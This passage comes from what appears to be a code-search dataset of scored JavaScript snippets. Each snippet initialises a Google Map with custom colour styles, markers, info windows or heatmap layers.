"1edd2ea9e5d6e5c16a63955d36c99e14", "score": "0.68898845", "text": "function initialize() {\n\t\n\t\tvar styles = [\n\t\t\t{\n\t\t\tstylers: [\n\t\t\t { saturation: -100 },\n\t\t\t { lightness: -17 }\n\t\t\t]\n\t\t\t\n\t\t\t}\n\t\t];\n\t\t\n\t\t// Create a new StyledMapType object, passing it the array of styles,\n\t\t// as well as the name to be displayed on the map type control.\n\t\tvar styledMap = new google.maps.StyledMapType(styles, {name: \"Styled Map\"});\n\t\t\n\t\t// Create a map object, and include the MapTypeId to add\n\t\t// to the map type control.\n\t\tvar mapOptions = {\n\t\t\tdisableDefaultUI: true, \n\t\t\tnavigationControl: true, \n \t \tscrollwheel: true, \n \t\tzoom: 15,\n\t\t\tcenter: new google.maps.LatLng(51.385582,-2.3608),\n\t\t\tstreetViewControl: false,\n\t\t\tnavigationControlOptions: {\n\t\t\tposition: google.maps.ControlPosition.TOP_LEFT\n\t\t}, \n\t\tzoomControlOptions: {\n\t\t\tposition: google.maps.ControlPosition.TOP_LEFT\n\t\t},\n\t\t\n\t\tmapTypeControlOptions: {\n\t\t\tmapTypeIds: [google.maps.MapTypeId.ROADMAP, 'map_style']\n\t\t}\n\t\t};\n\t\t\n\t\tvar map = new google.maps.Map(document.getElementById('map_canvas'),mapOptions);\n\t\t\n\t\t//Associate the styled map with the MapTypeId and set it to display.\n\t\tmap.mapTypes.set('map_style', styledMap);\n\t\tmap.setMapTypeId('map_style'); \n\t\t\t\n\t\tvar image = new google.maps.MarkerImage(\n\t\t\t'/css/images/maps-icon.png',\n\t\t\tnew google.maps.Size(100, 83),\t// size\n\t\t\tnew google.maps.Point(0,0),\t// origin\n\t\t\tnew google.maps.Point(50, 83)\t// anchor\n\t\t);\n\t\t\n\t\tvar shadow = new google.maps.MarkerImage(\n\t\t\t'/css/images/maps-icon-shadow.png',\n\t\t\tnew google.maps.Size(100, 83),\t// size\n\t\t\tnew google.maps.Point(0,0),\t// origin\n\t\t\tnew google.maps.Point(50, 83)\t// anchor\n\t\t);\t\n\t\t\n\t\tvar myLatLng = new google.maps.LatLng(51.385582,-2.3608);\n\t\t\n\t\tvar beachMarker = new google.maps.Marker({\n\t\t\tposition: myLatLng,\n\t\t\tmap: map,\n\t\t\tshadow: shadow,\n\t\t\ticon: image\n\t\t}); \n\t\n\t}", "title": "" }, { "docid": "12450737810c35c57f92862beb995f33", "score": "0.682338", "text": "function initMap() { \n\n\t \tvar styles = [\n\t\t {\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#ebe3cd\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"elementType\": \"labels.text.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#523735\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"elementType\": \"labels.text.stroke\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#f5f1e6\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"administrative\",\n\t\t \"elementType\": \"geometry.stroke\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#c9b2a6\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"administrative.land_parcel\",\n\t\t \"elementType\": \"geometry.stroke\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#dcd2be\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"administrative.land_parcel\",\n\t\t \"elementType\": \"labels.text.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#ae9e90\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"landscape.natural\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#dfd2ae\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"poi\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#dfd2ae\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"poi\",\n\t\t \"elementType\": \"labels.text.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#93817c\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"poi.park\",\n\t\t \"elementType\": \"geometry.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#a5b076\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"poi.park\",\n\t\t \"elementType\": \"labels.text.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#447530\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"road\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#f5f1e6\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"road.arterial\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#fdfcf8\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"road.highway\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#f8c967\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"road.highway\",\n\t\t \"elementType\": \"geometry.stroke\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#e9bc62\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"road.highway.controlled_access\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#e98d58\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"road.highway.controlled_access\",\n\t\t \"elementType\": \"geometry.stroke\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#db8555\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"road.local\",\n\t\t \"elementType\": \"labels.text.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#806b63\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"transit.line\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#dfd2ae\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"transit.line\",\n\t\t \"elementType\": \"labels.text.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#8f7d77\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"transit.line\",\n\t\t \"elementType\": \"labels.text.stroke\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#ebe3cd\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"transit.station\",\n\t\t \"elementType\": \"geometry\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#dfd2ae\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"water\",\n\t\t \"elementType\": \"geometry.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#b9d3c2\"\n\t\t }\n\t\t ]\n\t\t },\n\t\t {\n\t\t \"featureType\": \"water\",\n\t\t \"elementType\": \"labels.text.fill\",\n\t\t \"stylers\": [\n\t\t {\n\t\t \"color\": \"#92998d\"\n\t\t }\n\t\t ]\n\t\t }\n\t\t];\n\t var mapOptions = {\t \n zoom: 10,\n styles: styles,\n mapTypeControl: false,\n disableDefaultUI: true\n\t };\t \n\t map = new google.maps.Map(document.querySelector('#map'), mapOptions);\n\t infowindow = new google.maps.InfoWindow();\n\t var request = {\n \t\tquery: defaultPlace\n \t};\n \tservice = new google.maps.places.PlacesService(map);\n \tservice.textSearch(request, callback);\t \n\t}", "title": "" }, { "docid": "0325e2a83e08515ae2ba17a3c01475b0", "score": "0.6764051", "text": "function callingGoogleMap() {\n var latlng = new google.maps.LatLng(35.644584, 139.672440);\n var myOptions = {\n zoom: 17,\n center: latlng,\n mapTypeControlOptions: {\n mapTypeIds: [\"colorScheme\", google.maps.MapTypeId.ROADMAP]\n }\n };\n var map = new google.maps.Map(document.getElementById(\"googleMap\"), myOptions);\n\n var icon = new google.maps.MarkerImage(\"http://gelato-inc.com/images/googleMapIcon.png\",\n new google.maps.Size(65, 95),\n new google.maps.Point(0, 0),\n new google.maps.Point(24, 48),\n new google.maps.Size(52, 76)\n\n );\n var markerOptions = {\n position: latlng,\n map: map,\n icon: icon,\n title: \"Gelato Inc.\"\n };\n var marker = new google.maps.Marker(markerOptions);\n\n var styleOptions = [\n {\n \"stylers\": [\n {\n \"color\": \"#83d8ef\"\n },\n {\n \"saturation\": 30\n },\n {\n \"visibility\": \"on\"\n }]\n }, {\n \"featureType\": \"administrative\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"landscape\",\n \"stylers\": [\n {\n \"color\": \"#83d8ef\"\n },\n {\n \"lightness\": 80\n },\n {\n \"visibility\": \"simplified\"\n }]\n }, {\n \"featureType\": \"poi\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"road\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"transit\",\n \"stylers\": [\n {\n \"color\": \"#83d8ef\"\n },\n {\n \"lightness\": -40\n },\n {\n \"visibility\": \"simplified\"\n }]\n }, {\n \"featureType\": \"water\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"landscape.man_made\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"road.highway.controlled_access\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"visibility\": \"simplified\"\n },\n {\n \"lightness\": 30\n }]\n }, {\n \"featureType\": \"transit.line\",\n \"elementType\": \"labels.text\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 30\n },\n {\n \"visibility\": \"simplified\"\n }]\n }, {\n \"featureType\": \"transit.station\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"transit.station.rail\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"visibility\": \"simplified\"\n },\n {\n \"lightness\": 30\n }]\n }, {\n \"featureType\": \"transit.station\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"visibility\": \"simplified\"\n }]\n }, {\n \"featureType\": \"administrative\",\n \"elementType\": \"labels.text\",\n \"stylers\": [\n {\n \"visibility\": \"simplified\"\n },\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 40\n }]\n }];\n\n var styledMapOptions = {\n name: \"Gelato Inc.\"\n };\n var styleType = new google.maps.StyledMapType(styleOptions, styledMapOptions);\n map.mapTypes.set(\"colorScheme\", styleType);\n //map.setMapTypeId(\"colorScheme\");\n }", "title": "" }, { "docid": "05080497a5908a56a780f6de0b4a4384", "score": "0.67592925", "text": "function initMap() {\n const map = new google.maps.Map(document.getElementById(\"map\"), {\n zoom: 15,\n center: { lat: -25.7522, lng: 28.2245 },\n styles: [\n {\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f5f5f5\"\n }\n ]\n },\n {\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#616161\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#f5f5f5\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#bdbdbd\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#eeeeee\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#757575\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#e5e5e5\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#9e9e9e\"\n }\n ]\n },\n {\n \"featureType\": \"poi.school\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#77ac7a\"\n },\n {\n \"visibility\": \"on\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#757575\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#dadada\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#616161\"\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#9e9e9e\"\n }\n ]\n },\n {\n \"featureType\": \"transit.line\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#e5e5e5\"\n }\n ]\n },\n {\n \"featureType\": \"transit.station\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#eeeeee\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#c9c9c9\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#9e9e9e\"\n }\n ]\n }\n ]\n });\n }", "title": "" }, { "docid": "cb2773d53b564115ad9b5eaa4c17733a", "score": "0.6754175", "text": "function initializeMapDOM() {\n var mapOptions = {\n zoom: 1,\n center: new google.maps.LatLng(37, 124.644),\n \n styles: [\n {\n \"stylers\": [\n {\n \"hue\": \"#ff1a00\"\n },\n {\n \"invert_lightness\": true\n },\n {\n \"saturation\": -100\n },\n {\n \"lightness\": 33\n },\n {\n \"gamma\": 0.5\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#2D333C\"\n }\n ]\n }\n]\n \n \n \n };\n map = new google.maps.Map(document.getElementById('map'),\n mapOptions);\n Logger(\"DOM map initialized\");\n}", "title": "" }, { "docid": "2d8753bc861e97fe87f167be5e702802", "score": "0.6752971", "text": "function createMap() {\n \n // Configure all the google map settings\n var location = new google.maps.LatLng(52.0833, 4.3000);\n var mapOptions = {\n zoom: 8,\n center: location,\n mapTypeId: 'styledMap',\n streetViewControl: false,\n disableDefaultUI: true\n\t};\n var mapStyle = [\n {\n \"featureType\": \"road\",\n \"stylers\": [\n { \"visibility\": \"off\" }\n ]\n },{\n \"featureType\": \"administrative\",\n \"stylers\": [\n { \"visibility\": \"on\" },\n { \"weight\": 0.5 },\n { \"gamma\": 1.8 }\n ]\n },{\n \"stylers\": [\n { \"saturation\": 13 }\n ]\n } \n ];\n \n // Create map object at the correct div\n\tmap = new google.maps.Map(document.getElementById('map'), mapOptions);\n\tmap.mapTypes.set('styledMap', new google.maps.StyledMapType(mapStyle,{ map: map }));\n \n}", "title": "" }, { "docid": "79542a54f65bdbaf9da866df85d602b4", "score": "0.67185426", "text": "function generate_chilly_map($options) {\n var map_theme = [\n {\n featureType: \"administrative\",\n elementType: \"all\",\n stylers: [{ saturation: \"-100\" }]\n },\n {\n featureType: \"administrative.province\",\n elementType: \"all\",\n stylers: [{ visibility: \"off\" }]\n },\n {\n featureType: \"landscape\",\n elementType: \"all\",\n stylers: [{ saturation: -100 }, { lightness: 65 }, { visibility: \"on\" }]\n },\n {\n featureType: \"poi\",\n elementType: \"all\",\n stylers: [\n { saturation: -100 },\n { lightness: \"50\" },\n { visibility: \"simplified\" }\n ]\n },\n {\n featureType: \"road\",\n elementType: \"all\",\n stylers: [{ saturation: \"-100\" }]\n },\n {\n featureType: \"road.highway\",\n elementType: \"all\",\n stylers: [{ visibility: \"simplified\" }]\n },\n {\n featureType: \"road.arterial\",\n elementType: \"all\",\n stylers: [{ lightness: \"30\" }]\n },\n {\n featureType: \"road.local\",\n elementType: \"all\",\n stylers: [{ lightness: \"40\" }]\n },\n {\n featureType: \"transit\",\n elementType: \"all\",\n stylers: [{ saturation: -100 }, { visibility: \"simplified\" }]\n },\n {\n featureType: \"water\",\n elementType: \"geometry\",\n stylers: [{ hue: \"#ffff00\" }, { lightness: -25 }, { saturation: -97 }]\n },\n {\n featureType: \"water\",\n elementType: \"labels\",\n stylers: [{ lightness: -25 }, { saturation: -100 }]\n }\n ];\n\n var map_options = {\n zoom: 15,\n mapTypeControl: true,\n scrollwheel: false,\n draggable: true,\n navigationControlOptions: {\n style: google.maps.NavigationControlStyle.SMALL\n },\n mapTypeId: google.maps.MapTypeId.ROADMAP\n // ,\n // styles: map_theme\n };\n\n var location_map_container = jQuery($options.element);\n location_map_container.css({\n width: \"100%\",\n height: 450\n });\n\n var location_map = new google.maps.Map(\n location_map_container.get(0),\n map_options\n );\n var latlng = new google.maps.LatLng($options.lat, $options.lng);\n var infowindow = new google.maps.InfoWindow({ content: \"\" });\n var marker = new google.maps.Marker({\n position: latlng,\n map: location_map,\n optimized: false\n });\n\n marker.addListener(\"click\", function () {\n infowindow.setContent($options.title);\n infowindow.open(location_map, this);\n });\n\n location_map.setCenter(latlng);\n}", "title": "" }, { "docid": "4812eebed4bfe65b1335ead69f2b2bd1", "score": "0.6684891", "text": "function initMap() {\n \n // Creates the Google Map 'gMap'\n gMap = new google.maps.Map(document.getElementById('gmap'), {\n center: {lat: 37.0902, lng: -95.7129},\n zoom: 5,\n zoomControl: true,\n mapTypeControl: false,\n //mapTypeId: 'terrain',\n scaleControl: true,\n streetViewControl: false,\n rotateControl: true,\n fullscreenControl: false,\n styles: [\n {elementType: 'geometry', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]},\n {\n featureType: 'administrative.locality',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{color: '#263c3f'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{color: '#6b9a76'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{color: '#38414e'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry.stroke',\n stylers: [{color: '#212a37'}]\n },\n {\n featureType: 'road',\n elementType: 'labels.text.fill',\n stylers: [{color: '#9ca5b3'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#746855'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#1f2835'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: '#f3d19c'}]\n },\n {\n featureType: 'transit',\n elementType: 'geometry',\n stylers: [{color: '#2f3948'}]\n },\n {\n featureType: 'transit.station',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#17263c'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: '#515c6d'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#17263c'}]\n }\n ]\n });\n \n \n // Adds a listener to close the info-window\n gMap.addListener('click', function() {\n $(\"#info-window\").hide();\n });\n \n // Creates applicable markers\n LoadMarkers();\n getLocation(); // DEBUG\n \n } // End function initMap()", "title": "" }, { "docid": "827c72f9530457ce7a88385c06562bfd", "score": "0.6669631", "text": "function initializeMap() {\n var mapCanvas = document.getElementById('main-map');\n var styles = [\n {\n \"stylers\": [\n { \"saturation\": -100 },\n { \"hue\": \"#9900ff\" },\n { \"gamma\": 0.18 },\n { \"lightness\": 11 }\n ]\n }\n ];\n // Create a new StyledMapType object, passing it the array of styles,\n // as well as the name to be displayed on the map type control.\n var styledMap = new google.maps.StyledMapType(styles,\n {name: \"Styled Map\"});\n\n // Create a map object, and include the MapTypeId to add\n // to the map type control.\n var mapOptions = {\n center: new google.maps.LatLng(42.9837, -81.2497),\n zoom: 14,\n zoomControl : false,\n disableDefaultUI: true,\n scrollwheel: false,\n navigationControl: false,\n mapTypeControl: false,\n scaleControl: false,\n draggable: false,\n panControl : false,\n mapTypeControlOptions: {\n mapTypeIds: [google.maps.MapTypeId.ROADMAP, 'map_style']\n }\n };\n var map = new google.maps.Map(mapCanvas, mapOptions);\n //Associate the styled map with the MapTypeId and set it to display.\n map.mapTypes.set('map_style', styledMap);\n map.setMapTypeId('map_style');\n\n}//initializeMap", "title": "" }, { "docid": "329e8c80fa6b8cd8dd3ae23875e071ab", "score": "0.6636502", "text": "function initMap() {\n map = new google.maps.Map(document.getElementById('map'), {\n center: center,\n zoom: 13,\n disableDefaultUI: true,\n gestureHandling: 'none',\n zoomControl: false,\n styles: [\n {\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#f5f5f5\"}]\n },\n {\n \"elementType\": \"labels.icon\",\n \"stylers\": [{\"visibility\": \"off\"}]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#616161\"}]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [{\"color\": \"#f5f5f5\"}]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#bdbdbd\"}]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#eeeeee\"}]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#757575\"}]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#e5e5e5\"}]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#9e9e9e\"}]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#ffffff\"}]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#757575\"}]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#dadada\"}]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#616161\"}]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#9e9e9e\"}]\n },\n {\n \"featureType\": \"transit.line\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#e5e5e5\"}]\n },\n {\n \"featureType\": \"transit.station\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#eeeeee\"}]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\"color\": \"#c9c9c9\"}]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\"color\": \"#9e9e9e\"}]\n }\n ]\n });\n\n heatMap = new google.maps.visualization.HeatmapLayer({\n data: formatPoints(points),\n map: map,\n opacity: .7\n });\n\n socialHeatMap = new google.maps.visualization.HeatmapLayer({\n data: formatPoints(socialPoints),\n map: map,\n opacity: .7\n });\n\n heatMap.set('radius', 20);\n socialHeatMap.set('radius', 20);\n\n document.getElementById('heatMapToggle').classList.toggle('active');\n document.getElementById('socialHeatMapToggle').classList.toggle('active');\n document.getElementById('markersToggle').classList.toggle('active');\n\n addMarkers();\n toggleSocialHeatmap();\n toggleMarkers();\n\n changeGradient();\n}", "title": "" }, { "docid": "2612a1be1a75ec38b3fa750051b280f0", "score": "0.66195434", "text": "function initializeMap() {\n\n var locations;\n\n var mapOptions = {\n disableDefaultUI: true,\n mapTypeControlOptions: {\n mapTypeIds: ['roadmap', 'satellite', 'hybrid', 'terrain',\n 'styled_map']\n }\n };\n\n // create a map style theme\n var styledMapType = new google.maps.StyledMapType(\n [\n {\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#1d2c4d\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#8ec3b9\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#1a3646\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.country\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#4b6878\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#64779e\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.neighborhood\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.province\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#4b6878\"\n }\n ]\n },\n {\n \"featureType\": \"landscape.man_made\",\n \"stylers\": [\n {\n \"color\": \"#0c485a\"\n }\n ]\n },\n {\n \"featureType\": \"landscape.man_made\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#334e87\"\n }\n ]\n },\n {\n \"featureType\": \"landscape.natural\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#023e58\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#283d6a\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#6f9ba5\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#1d2c4d\"\n }\n ]\n },\n {\n \"featureType\": \"poi.business\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#023e58\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#3C7680\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#304a7d\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#98a5be\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#1d2c4d\"\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"stylers\": [\n {\n \"color\": \"#dc997c\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"stylers\": [\n {\n \"color\": \"#d52828\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#2c6675\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#255763\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#b0d5ce\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#023e58\"\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"stylers\": [\n {\n \"color\": \"#f4e475\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#98a5be\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": 